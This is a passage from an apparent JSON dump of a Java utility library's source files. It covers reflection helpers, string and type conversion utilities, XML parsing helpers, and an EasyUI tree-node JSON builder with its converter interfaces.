判断类是否实现某个接口\n\t * \n\t * @param c\n\t * @param szInterface\n\t * @return\n\t */\n\tpublic static boolean isInterface(Class c, String szInterface) {\n\t\tClass[] face = c.getInterfaces();\n\t\tfor (int i = 0, j = face.length; i < j; i++) {\n\t\t\tif (face[i].getName().equals(szInterface)) {\n\t\t\t\treturn true;\n\t\t\t} else {\n\t\t\t\tClass[] face1 = face[i].getInterfaces();\n\t\t\t\tfor (int x = 0; x < face1.length; x++) {\n\t\t\t\t\tif (face1[x].getName().equals(szInterface)) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t} else if (isInterface(face1[x], szInterface)) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (null != c.getSuperclass()) {\n\t\t\treturn isInterface(c.getSuperclass(), szInterface);\n\t\t}\n\t\treturn false;\n\t}\n\n\t/***\n\t * 得到对象的属性描述\n\t * \n\t * @param clazz\n\t * @return\n\t */\n\tpublic static PropertyDescriptor[] getPropertyDescriptors(Class clazz) {\n\t\tBeanInfo beanInfo = null;\n\t\ttry {\n\t\t\tbeanInfo = Introspector.getBeanInfo(clazz);\n\t\t} catch (IntrospectionException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn beanInfo.getPropertyDescriptors();\n\t}\n\n\tpublic static Class getClassRefType(PropertyDescriptor propertyDescriptor) {\n\t\tField[] fields = propertyDescriptor.getClass().getSuperclass()\n\t\t\t\t.getDeclaredFields();\n\t\tif (fields == null || fields.length <= 0) {\n\t\t\treturn null;\n\t\t} else {\n\t\t\tfor (Field field : fields) {\n\t\t\t\tif (\"classRef\".equals(field.getName())) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tfield.setAccessible(true); // 一定要设置为可访问\n\t\t\t\t\t\treturn (Class) ((Reference) field\n\t\t\t\t\t\t\t\t.get(propertyDescriptor)).get();\n\t\t\t\t\t} catch (IllegalArgumentException e) {\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t} catch (IllegalAccessException e) {\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic static Map<String, Class[]> getContextType(Class classz) {\n\t\tField[] fs = classz.getDeclaredFields(); // 得到所有的fields\n\t\tMap<String, Class[]> retMap = new HashMap<String, Class[]>();\n\t\tfor (Field f : fs) {\n\t\t\tClass fieldClazz = f.getType(); // 得到field的class及类型全路径\n\t\t\tif (fieldClazz.isPrimitive())\n\t\t\t\tcontinue; // 【1】 //判断是否为基本类型\n\t\t\tif (fieldClazz.getName().startsWith(\"java.lang\"))\n\t\t\t\tcontinue; // getName()返回field的类型全路径；\n\t\t\tif (fieldClazz.isAssignableFrom(List.class)) // 【2】\n\t\t\t{\n\t\t\t\tType fc = f.getGenericType(); // 关键的地方，如果是List类型，得到其Generic的类型\n\t\t\t\tif (fc == null)\n\t\t\t\t\tcontinue;\n\t\t\t\tif (fc instanceof ParameterizedType) // 【3】如果是泛型参数的类型\n\t\t\t\t{\n\t\t\t\t\tParameterizedType pt = (ParameterizedType) fc;\n\t\t\t\t\tClass genericClazz = (Class) pt.getActualTypeArguments()[0]; // 【4】\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 得到泛型里的class类型对象。\n\t\t\t\t\tretMap.put(f.getName(), new Class[] { genericClazz });\n\t\t\t\t\t// Map<String, Class> m1 = prepareMap(genericClazz);\n\t\t\t\t\t// m.putAll(m1);\n\t\t\t\t}\n\t\t\t} else if (fieldClazz.isAssignableFrom(Map.class)) {\n\t\t\t\tType fc = f.getGenericType();\n\t\t\t\tif (fc == null)\n\t\t\t\t\tcontinue;\n\t\t\t\tif (fc instanceof ParameterizedType) {\n\t\t\t\t\tParameterizedType pt = (ParameterizedType) fc;\n\t\t\t\t\tClass param0 = (Class) pt.getActualTypeArguments()[0]; // 【4】\n\t\t\t\t\tClass param1 = (Class) pt.getActualTypeArguments()[1]; // 【4】\n\t\t\t\t\tretMap.put(f.getName(), new Class[] { param0, param1 });\n\t\t\t\t}\n\t\t\t} else if (fieldClazz.isArray()) {\n\t\t\t\tretMap.put(f.getName(),\n\t\t\t\t\t\tnew Class[] { fieldClazz.getComponentType() });\n\t\t\t}\n\t\t}\n\t\treturn retMap;\n\t}\n\n\tpublic static void copyProperties(Object dest, Object orig) {\n\t\ttry {\n\t\t\tBeanUtils.copyProperties(dest, orig);\n\t\t} catch (Exception e) {\n\t\t\tlogger.error(\"复制属性出错\", e);\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/apiext/StringUtil.java",
    "content": "package com.jun.plugin.commons.util.apiext;\n\nimport java.math.BigDecimal;\nimport java.text.FieldPosition;\nimport java.text.Format;\nimport java.text.ParsePosition;\nimport java.util.Date;\n\nimport org.apache.commons.lang.ArrayUtils;\nimport org.apache.commons.lang.StringUtils;\n\nimport com.jun.plugin.commons.util.callback.ValueEncoder;\n\n/**\n * @ClassName: StringUtil\n * @Description: TODO(这里用一句话描述这个类的作用)\n * @author Wujun\n * @date 2010-10-29 下午01:36:36\n *\n */\npublic abstract class StringUtil {\n\t/**\n\t * 把为空的字符按指定字符返回，<br>\n\t * 如果inputStr[0]为null或\"\" 则取inputStr[1]值<br>\n\t *\n\t * @param inputStr\n\t *            输入要转换的数组\n\t * @return String\n\t * */\n\tpublic static String hasNull(String... inputStr) {\n\t\tif (inputStr == null)\n\t\t\treturn \"\";\n\t\tString returnStr;\n\t\tswitch (inputStr.length) {\n\t\tcase 0:\n\t\t\treturnStr = \"\";\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\treturnStr = trimSpace(inputStr[0]);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tif (inputStr[0] == null || inputStr[0].trim().length() <= 0)\n\t\t\t\treturnStr = inputStr[1];\n\t\t\telse\n\t\t\t\treturnStr = inputStr[0].trim();\n\t\t\tbreak;\n\t\t}\n\t\treturn returnStr;\n\t}\n\n\t/**\n\t * 判断字符串是否为空\n\t *\n\t * @param inputStr\n\t *            输入要转换的数组,如果inputStr[0]为null或\"\" 则取inputStr[1]值\n\t * @return String\n\t * */\n\tpublic static boolean isNull(String input) {\n\t\tif (input == null || \"null\".equals(input) || input.trim().length() == 0) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * 判断字符串是否不为空\n\t *\n\t * @param inputStr\n\t *            输入要转换的数组,如果inputStr[0]为null或\"\" 则取inputStr[1]值\n\t * @return String\n\t * */\n\tpublic static boolean isNotNull(String input) {\n\t\treturn !isNull(input);\n\t}\n\n\t/**\n\t * 去掉字符串前后的空格(半角,全角空格)\n\t *\n\t * @param str\n\t *            要处理的字符串\n\t * @return String\n\t */\n\tpublic static String trimSpace(String str) {\n\t\tif (str == null || str.trim().length() == 0) {\n\t\t\treturn \"\";\n\t\t}\n\n\t\tint len = str.length();\n\t\tint first = 0;\n\t\tint last = str.length() - 1;\n\t\tchar c;\n\n\t\tfor (c = str.charAt(first); (first < len)\n\t\t\t\t&& (c == '\\u3000' || c == ' '); first++) {\n\t\t\tc = str.charAt(first);\n\t\t}\n\t\tif (first > 0) {\n\t\t\tfirst--;\n\t\t}\n\t\tif (len > 0) {\n\t\t\tc = str.charAt(last);\n\t\t\twhile ((last > 0) && (c == '\\u3000' || c == ' ')) {\n\t\t\t\tlast--;\n\t\t\t\tc = str.charAt(last);\n\t\t\t}\n\t\t\tlast = last + 1;\n\t\t}\n\t\tif (first >= last) {\n\t\t\treturn \"\";\n\t\t}\n\t\treturn ((first > 0) || (last < len)) ? str.substring(first, last) : str;\n\t}\n\n\t/**\n\t * 获取字符串中含数字和字母的个数<br>\n\t */\n\tpublic static int sumOfNumLet(String src) {\n\t\tString figures = \"0123456789\";\n\t\tString letters = \"abcdefghijklmnopqrstuvwxyz\";\n\t\tint sum = 0;\n\t\tfor (int i = 0; (src != null) && (i < src.length()); i++) {\n\t\t\tchar ch = src.charAt(i);\n\t\t\tif ((figures.indexOf(ch) != -1) || (letters.indexOf(ch) != -1))\n\t\t\t\tsum++;\n\t\t}\n\t\treturn sum;\n\t}\n\n\t/**\n\t * tapestry输出变量 时要填此格式化对象\n\t * */\n\tpublic final static Format formatCommon = new Format() {\n\t\tprivate static final long serialVersionUID = -8271124584977967310L;\n\n\t\t@Override\n\t\tpublic Object parseObject(String source, ParsePosition pos) {\n\t\t\treturn source;\n\t\t}\n\n\t\t@Override\n\t\tpublic StringBuffer format(Object obj, StringBuffer toAppendTo,\n\t\t\t\tFieldPosition pos) {\n\t\t\treturn toAppendTo.append(obj);\n\t\t}\n\t};\n\n\tpublic static String combo(String[] paramArrayOfString, String paramString) {\n\t\tString str1 = paramString;\n\t\tif ((paramArrayOfString == null) || (paramArrayOfString.length < 1))\n\t\t\treturn \"\";\n\t\tif ((paramString == null) || (paramString.trim().equals(\"\")))\n\t\t\tstr1 = \",\";\n\t\tString str2 = trimSpace(paramArrayOfString[0]);\n\t\tint i = paramArrayOfString.length;\n\t\tfor (int j = 1; j < i; ++j)\n\t\t\tstr2 = new StringBuilder().append(str2).append(str1)\n\t\t\t\t\t.append(trimSpace(paramArrayOfString[j])).toString();\n\t\treturn str2;\n\t}\n\n\t/**\n\t * 首字母转成大写\n\t *\n\t * @param s\n\t * @return\n\t */\n\tpublic static String toUpperCaseFirstOne(String s) {\n\t\tif (isNull(s)) {\n\t\t\treturn \"\";\n\t\t} else if (Character.isUpperCase(s.charAt(0))) {\n\t\t\treturn s;\n\t\t} else {\n\t\t\treturn (new StringBuilder())\n\t\t\t\t\t.append(Character.toUpperCase(s.charAt(0)))\n\t\t\t\t\t.append(s.substring(1)).toString();\n\t\t}\n\t}\n\n\t/***\n\t * String转为基本数据类型\n\t *\n\t * @param type\n\t * @param v\n\t * @param handler\n\t * @return\n\t */\n\tpublic static final <T> T str2Object(Class<T> type, String v,\n\t\t\tValueEncoder<T> handler) {\n\t\tObject param = null;\n\t\tif (handler != null)\n\t\t\treturn handler.toValue(v);\n\n\t\tif (type != String.class\n\t\t\t\t&& org.apache.commons.lang3.StringUtils.isEmpty(v)) {\n\t\t\treturn null;\n\t\t}\n\t\tif (type == String.class)\n\t\t\tparam = v;\n\t\telse if (type == int.class || type == Integer.class)\n\t\t\tparam = Integer.parseInt(v);\n\t\telse if (type == long.class || type == Long.class)\n\t\t\tparam = Long.parseLong(v);\n\t\telse if (type == byte.class || type == Byte.class)\n\t\t\tparam = Byte.parseByte(v);\n\t\telse if (type == char.class || type == Character.class)\n\t\t\tparam = v.charAt(0);\n\t\telse if (type == float.class || type == Float.class)\n\t\t\tparam = Float.parseFloat(v);\n\t\telse if (type == double.class || type == Double.class)\n\t\t\tparam = Double.parseDouble(v);\n\t\telse if (type == short.class || type == Short.class)\n\t\t\tparam = Short.parseShort(v);\n\t\telse if (type == boolean.class || type == Boolean.class)\n\t\t\tparam = Boolean.parseBoolean(v);\n\t\telse if (Date.class.isAssignableFrom(type))\n\t\t\tparam = DateUtil.objToDate(v);\n\t\telse if (Enum.class.isAssignableFrom(type)) {\n\t\t\ttry {\n\t\t\t\tparam = type.getField(v).get(null);\n\t\t\t} catch (Exception e) {\n\t\t\t}\n\t\t} else if (type == BigDecimal.class) {\n\t\t\ttry {\n\t\t\t\tparam = new BigDecimal(v);\n\t\t\t} catch (Exception e) {\n\t\t\t}\n\t\t} else\n\t\t\tthrow new IllegalArgumentException(String.format(\n\t\t\t\t\t\"object type '%s' not valid\", type));\n\t\treturn (T) param;\n\t}\n\n\tpublic static final <T> T str2Object(Class<T> type, String v) {\n\t\treturn str2Object(type, v, null);\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/apiext/XmlUtil.java",
    "content": "package com.jun.plugin.commons.util.apiext;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.StringReader;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.parsers.SAXParser;\nimport javax.xml.parsers.SAXParserFactory;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.w3c.dom.Document;\nimport org.xml.sax.Attributes;\nimport org.xml.sax.InputSource;\nimport org.xml.sax.SAXException;\nimport org.xml.sax.helpers.DefaultHandler;\n\nimport com.jun.plugin.commons.util.assistbean.NodeSax;\nimport com.jun.plugin.commons.util.exception.ExceptAll;\nimport com.jun.plugin.commons.util.exception.ProjectException;\n\npublic abstract class XmlUtil {\n\tpublic static Logger logger = LoggerFactory.getLogger(DateUtil.class);\n\n\tprivate static final class XMLHandler extends DefaultHandler {\n\t\tprivate final NodeSax nodeSax;\n\t\tprivate boolean finded = false;\n\n\t\tpublic XMLHandler(String nodeName) {\n\t\t\tthis.nodeSax = new NodeSax(nodeName);\n\t\t}\n\n\t\tpublic NodeSax getNodeSax() {\n\t\t\treturn this.nodeSax;\n\t\t}\n\n\t\t@Override\n\t\tpublic void startDocument() throws SAXException {\n\t\t\t// TODO Auto-generated method stub\n\t\t\tsuper.startDocument();\n\t\t}\n\n\t\t@Override\n\t\tpublic void startElement(String uri, String localName, String qName,\n\t\t\t\tAttributes attributes) throws SAXException {\n\t\t\tif (qName.equals(nodeSax.getNodeName())) {\n\t\t\t\tnodeSax.setAttributes(attributes);\n\t\t\t\tfinded = true;\n\t\t\t}\n\t\t}\n\n\t\t@Override\n\t\tpublic void characters(char[] ch, int start, int length)\n\t\t\t\tthrows SAXException {\n\t\t\tif (finded) {\n\t\t\t\tnodeSax.setNodeValue(new String(ch, start, length));\n\t\t\t\tthrow new SAXException(\"已找到\");\n\t\t\t}\n\t\t}\n\t}\n\n\t/******\n\t * SAX解析得到指定的第一个XML节点,当文档中有很多元素时，startDocument到startElement事件会执行较长一段时间\n\t * \n\t * @param input\n\t * @param nodeName\n\t * @return\n\t */\n\tpublic static NodeSax getFirstNode(InputStream input, String nodeName) {\n\t\tXMLHandler handler = null;\n\t\ttry {\n\t\t\tSAXParserFactory spf = SAXParserFactory.newInstance();\n\t\t\tSAXParser parser = spf.newSAXParser();\n\t\t\thandler = new XMLHandler(nodeName);\n\t\t\tparser.parse(input, handler);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\ttry {\n\t\t\tinput.close();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn handler.getNodeSax();\n\t}\n\n\t/**\n\t * 解析XML文档\n\t * \n\t * @param src\n\t *            要解析的字符串\n\t * */\n\tpublic static final Document parserDocment(String src) {\n\t\ttry {\n\t\t\tDocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\n\t\t\tDocumentBuilder db = dbf.newDocumentBuilder();\n\t\t\treturn db.parse(new InputSource(new StringReader(src)));\n\t\t} catch (Exception e) {\n\t\t\tlogger.error(\"解析XML文档错误\");\n\t\t\treturn null;\n\t\t}\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/assistbean/EasyUINode.java",
    "content": "package com.jun.plugin.commons.util.assistbean;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.collections.CollectionUtils;\nimport org.apache.commons.collections.MapUtils;\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.Validate;\n//import org.apache.tapestry5.json.JSONArray;\n//import org.apache.tapestry5.json.JSONObject;\nimport org.json.JSONArray;\nimport org.json.JSONObject;\n\nimport com.jun.plugin.commons.util.apiext.StringUtil;\n\npublic class EasyUINode implements Comparable<EasyUINode> {\n\n\tprivate String id;// 扩展，easyui可以没有id，但在真实环境中必须要有id\n\n\tprivate String text;\n\n\tpublic EasyUINode(String id, String text) {\n\t\tthis.id = id;\n\t\tthis.text = text;\n\t}\n\n\tpublic EasyUINode(String id) {\n\t\tthis.id = id;\n\t}\n\n\tprivate String iconCls;\n\n\tprivate boolean isClose;// 默认false是打开的\n\n\tprivate Boolean checked;\n\n\tprivate EasyUINode parent;\n\n\tprivate int index = 99999;// 默认排到后面\n\n\tprivate Map<String, String> attributes;\n\n\tprivate List<EasyUINode> childrens;// SortedSet不允许排序相同的对象。\n\n\tprivate final Map<String, EasyUINode> allSubMap = new HashMap<String, EasyUINode>();// 所有的子孙节点都放到此map中方便检索\n\n\tpublic EasyUINode getSubById(String id) {\n\t\treturn allSubMap.get(id);\n\t}\n\n\tpublic Map<String, EasyUINode> getSubs() {\n\t\treturn allSubMap;\n\t}\n\n\tpublic void addRootMap(EasyUINode add) {\n\t\tallSubMap.put(add.getId(), add);\n\t}\n\n\tpublic JSONObject toJson() {\n\t\tValidate.notBlank(this.id);\n\t\tValidate.notBlank(this.text);\n//\t\tJSONObject retobj = new JSONObject(\"id\", this.id, \"text\", this.text, \"index\", index);\n\t\tJSONObject retobj = new JSONObject(\"id\");\n\t\tretobj.put(\n\t\t\t\t\"parentId\",\n\t\t\t\tparent == null ? \"\" : StringUtil.hasNull(parent.getIconCls(),\n\t\t\t\t\t\t\"\"));\n\t\tif (StringUtils.isNotBlank(this.iconCls))\n\t\t\tretobj.put(\"iconCls\", this.iconCls);\n\t\tif (checked != null)\n\t\t\tretobj.put(\"checked\", checked.booleanValue());\n\t\tif (MapUtils.isNotEmpty(attributes)) {\n\t\t\tJSONObject attr = new JSONObject();\n\t\t\tfor (String key : attributes.keySet()) {\n\t\t\t\tattr.put(key, attributes.get(key));\n\t\t\t}\n\t\t\tretobj.put(\"attributes\", attr);\n\t\t}\n\t\tif (CollectionUtils.isNotEmpty(childrens)) {// 是目录\n\t\t\tif (isClose)\n\t\t\t\tretobj.put(\"state\", \"closed\");\n\t\t\telse\n\t\t\t\tretobj.put(\"state\", \"open\");\n\n\t\t\tCollections.sort(childrens);\n\t\t\tJSONArray childAry = new JSONArray();\n\t\t\tfor (EasyUINode easyUINode : childrens) {\n\t\t\t\tchildAry.put(easyUINode.toJson());\n\t\t\t}\n\t\t\tretobj.put(\"children\", childAry);\n\t\t}\n\t\treturn retobj;\n\t}\n\n\t@Override\n\tpublic int compareTo(EasyUINode o) {\n\t\tEasyUINode tempobj = (EasyUINode) o;\n\t\treturn this.index - tempobj.index;\n\t}\n\n\tpublic void addChildres(EasyUINode addNode) {\n\t\tif (childrens == null) {\n\t\t\tchildrens = new ArrayList<EasyUINode>();\n\t\t}\n\t\tList<EasyUINode> list = new ArrayList<EasyUINode>();\n\t\tlist.add(addNode);\n\t\tputAllSubMap(list);\n\t\tchildrens.add(addNode);\n\t}\n\n\tpublic void addChildres(List<EasyUINode> addNodes) {\n\t\tif (CollectionUtils.isNotEmpty(addNodes)) {\n\t\t\tif (childrens == null) {\n\t\t\t\tchildrens = new ArrayList<EasyUINode>();\n\t\t\t}\n\t\t\tputAllSubMap(addNodes);\n\t\t\tchildrens.addAll(addNodes);\n\t\t}\n\t}\n\n\tprivate void putAllSubMap(List<EasyUINode> addNodes) {\n\t\tif (CollectionUtils.isEmpty(addNodes)) {\n\t\t\treturn;\n\t\t}\n\t\tfor (EasyUINode subNode : addNodes) {\n\t\t\tsubNode.setParent(this);// 设置真正的父节点\n\t\t\tputAncestor(this, subNode);\n\t\t}\n\t}\n\n\t/***\n\t * 把子节点加到祖先节点的Map中\n\t * \n\t * @param parent\n\t * @param sub\n\t */\n\tprivate static void putAncestor(EasyUINode parent, EasyUINode sub) {\n\t\tif (parent == null || sub == null) {\n\t\t\treturn;\n\t\t}\n\t\tparent.addRootMap(sub);\n\t\tif (parent.getParent() != null) {\n\t\t\tputAncestor(parent.getParent(), sub);\n\t\t}\n\t}\n\n\t/*\n\t * @Override public boolean equals(Object obj) { EasyUINode temp =\n\t * (EasyUINode) obj; return this.id.equals(temp.id); }\n\t */\n\n\t/*\n\t * @Override public int hashCode() { return this.id.hashCode(); }\n\t */\n\n\tpublic void addAttributes(String... attr) {\n\t\tif (attributes == null) {\n\t\t\tattributes = new HashMap<String, String>();\n\t\t}\n\t\tif (ArrayUtils.isNotEmpty(attr)) {\n\t\t\tfor (int i = 0; i < attr.length / 2; i++) {\n\t\t\t\tattributes.put(attr[2 * i], attr[2 * i + 1]);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic String getAttribute(String attrName) {\n\t\treturn attributes.get(attrName);\n\t}\n\n\tpublic String getText() {\n\t\treturn text;\n\t}\n\n\tpublic void setText(String text) {\n\t\tthis.text = text;\n\t}\n\n\tpublic String getIconCls() {\n\t\treturn iconCls;\n\t}\n\n\tpublic void setIconCls(String iconCls) {\n\t\tthis.iconCls = iconCls;\n\t}\n\n\tpublic Boolean getChecked() {\n\t\treturn checked;\n\t}\n\n\tpublic void setChecked(Boolean checked) {\n\t\tthis.checked = checked;\n\t}\n\n\tpublic int getIndex() {\n\t\treturn index;\n\t}\n\n\tpublic void setIndex(int index) {\n\t\tthis.index = index;\n\t}\n\n\tpublic String getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(String id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic boolean isClose() {\n\t\treturn isClose;\n\t}\n\n\tpublic void setClose(boolean isClose) {\n\t\tthis.isClose = isClose;\n\t}\n\n\tpublic EasyUINode getParent() {\n\t\treturn parent;\n\t}\n\n\tpublic void setParent(EasyUINode parent) {\n\t\tthis.parent = parent;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/assistbean/EasyUINodeConf.java",
    "content": "package com.jun.plugin.commons.util.assistbean;\n\nimport java.util.List;\n\nimport org.apache.commons.collections.Predicate;\nimport org.apache.commons.lang3.Validate;\n\nimport com.jun.plugin.commons.util.callback.IConvertValue;\n\n/****\n * 用户对象与EasyUINode的转换器\n * \n * @author Wujun\n * \n */\npublic class EasyUINodeConf {\n\tprivate String idCol;// id字段名\n\tprivate String textCol;// text字段名\n\tprivate String parentCol;// 父Id字段名\n\tprivate String checkedCol;\n\tprivate String indexCol;// index排序字段名\n\tprivate String iconClsCol;// 图标字段名 ,支持 \":icon-dept\" 表示传入常量icon-dept\n\tprivate String isCloseCol;// 如果是目录，标识是否为关闭的字段\n\tprivate String[] attrCols;// 附加属性字段集合\n\tprivate Predicate isRoot;//\n\tprivate List<String> checkedList; // 已选择的节点Id集合\n\n\tprivate IConvertValue textConvert;// 把text转成要显示的文本转换器,通过国际化可用\n\n\tpublic EasyUINodeConf(String idCol, String textCol, String parentCol) {\n\t\tValidate.notBlank(idCol);\n\t\tValidate.notBlank(textCol);\n\t\tValidate.notBlank(parentCol);\n\t\tthis.idCol = idCol;\n\t\tthis.textCol = textCol;\n\t\tthis.parentCol = parentCol;\n\t}\n\n\tpublic EasyUINodeConf(String idCol, String textCol, String parentCol,\n\t\t\tString indexCol) {\n\t\tthis(idCol, textCol, parentCol);\n\t\tthis.indexCol = indexCol;\n\t}\n\n\tpublic EasyUINodeConf(String idCol, String textCol, String parentCol,\n\t\t\tString indexCol, String iconClsCol) {\n\t\tthis(idCol, textCol, parentCol, indexCol);\n\t\tthis.iconClsCol = iconClsCol;\n\t}\n\n\tpublic String getIdCol() {\n\t\treturn idCol;\n\t}\n\n\tpublic void setIdCol(String idCol) {\n\t\tthis.idCol = idCol;\n\t}\n\n\tpublic String getTextCol() {\n\t\treturn textCol;\n\t}\n\n\tpublic void setTextCol(String textCol) {\n\t\tthis.textCol = textCol;\n\t}\n\n\tpublic String getParentCol() {\n\t\treturn parentCol;\n\t}\n\n\tpublic void setParentCol(String parentCol) {\n\t\tthis.parentCol = parentCol;\n\t}\n\n\tpublic String getCheckedCol() {\n\t\treturn checkedCol;\n\t}\n\n\tpublic void setCheckedCol(String checkedCol) {\n\t\tthis.checkedCol = checkedCol;\n\t}\n\n\tpublic String getIndexCol() {\n\t\treturn indexCol;\n\t}\n\n\tpublic void setIndexCol(String indexCol) {\n\t\tthis.indexCol = indexCol;\n\t}\n\n\tpublic String getIconClsCol() {\n\t\treturn iconClsCol;\n\t}\n\n\tpublic void setIconClsCol(String iconClsCol) {\n\t\tthis.iconClsCol = iconClsCol;\n\t}\n\n\tpublic String getIsCloseCol() {\n\t\treturn isCloseCol;\n\t}\n\n\tpublic void setIsCloseCol(String isCloseCol) {\n\t\tthis.isCloseCol = isCloseCol;\n\t}\n\n\tpublic String[] getAttrCols() {\n\t\treturn attrCols;\n\t}\n\n\tpublic void setAttrCols(String... attrCols) {\n\t\tthis.attrCols = attrCols;\n\t}\n\n\tpublic Predicate getIsRoot() {\n\t\treturn isRoot;\n\t}\n\n\tpublic void setIsRoot(Predicate isRoot) {\n\t\tthis.isRoot = isRoot;\n\t}\n\n\tpublic List<String> getCheckedList() {\n\t\treturn checkedList;\n\t}\n\n\tpublic void setCheckedList(List<String> checkedList) {\n\t\tthis.checkedList = checkedList;\n\t}\n\n\tpublic IConvertValue getTextConvert() {\n\t\treturn textConvert;\n\t}\n\n\tpublic void setTextConvert(IConvertValue textConvert) {\n\t\tthis.textConvert = textConvert;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/assistbean/NodeSax.java",
    "content": "package com.jun.plugin.commons.util.assistbean;\n\nimport org.xml.sax.Attributes;\n\npublic class NodeSax {\n\tprivate final String nodeName;\n\tprivate String nodeValue;\n\tprivate Attributes attributes;\n\n\tpublic NodeSax(String nodeName) {\n\t\tthis.nodeName = nodeName;\n\t}\n\n\tpublic String getNodeName() {\n\t\treturn nodeName;\n\t}\n\n\tpublic String getNodeValue() {\n\t\treturn nodeValue;\n\t}\n\n\tpublic void setNodeValue(String nodeValue) {\n\t\tthis.nodeValue = nodeValue;\n\t}\n\n\tpublic Attributes getAttributes() {\n\t\treturn attributes;\n\t}\n\n\tpublic void setAttributes(Attributes attributes) {\n\t\tthis.attributes = attributes;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/callback/IConvertValue.java",
    "content": "package com.jun.plugin.commons.util.callback;\n\n/****\n * 把某个值通过某种规则转换成想要的值\n */\npublic interface IConvertValue {\n\tpublic String getStr(String key);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/callback/IConvertValueDate.java",
    "content": "package com.jun.plugin.commons.util.callback;\n\nimport java.util.Date;\n\npublic interface IConvertValueDate  extends IConvertValue{\n\tpublic String getStr(Date key);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/callback/ValueEncoder.java",
    "content": "// Copyright 2007-2013 The Apache Software Foundation\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage com.jun.plugin.commons.util.callback;\n\n/****\n * 对象与String互转\n \n * @param <V>\n */\npublic interface ValueEncoder<V> {\n\n\tString toClient(V value);\n\n\tV toValue(String clientValue);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/callback/impl/ConvertValueDate.java",
    "content": "package com.jun.plugin.commons.util.callback.impl;\n\nimport java.util.Date;\n\nimport com.jun.plugin.commons.util.callback.IConvertValueDate;\nimport com.jun.plugin.commons.util.constant.SimpleDateFormatCase;\n\npublic class ConvertValueDate implements IConvertValueDate {\n\tprivate SimpleDateFormatCase formate;\n\n\tpublic ConvertValueDate(SimpleDateFormatCase formate) {\n\t\tthis.formate = formate;\n\t}\n\n\tpublic ConvertValueDate() {\n\t\tthis.formate = SimpleDateFormatCase.YYYY_MM_DD;\n\t}\n\n\t@Override\n\tpublic String getStr(String key) {\n\t\treturn \"\";\n\t}\n\n\t@Override\n\tpublic String getStr(Date key) {\n\t\treturn formate.getInstanc().format(key);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/callback/impl/ConvertValueMsg.java",
    "content": "package com.jun.plugin.commons.util.callback.impl;\n\nimport java.util.Locale;\n\nimport com.jun.plugin.commons.util.MessageUtils;\nimport com.jun.plugin.commons.util.callback.IConvertValue;\n\n/****\n * commons-util的国际化转换器\n * \n * @author Wujun\n * \n */\npublic class ConvertValueMsg implements IConvertValue {\n\tprivate final String lang;\n\n\tpublic ConvertValueMsg(String lang) {\n\t\tthis.lang = lang;\n\t}\n\n\tpublic ConvertValueMsg() {\n\t\tthis.lang = Locale.getDefault().getLanguage();\n\t}\n\n\t@Override\n\tpublic String getStr(String key) {\n\t\treturn MessageUtils.get(lang, key);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/cli/HelloCli.java",
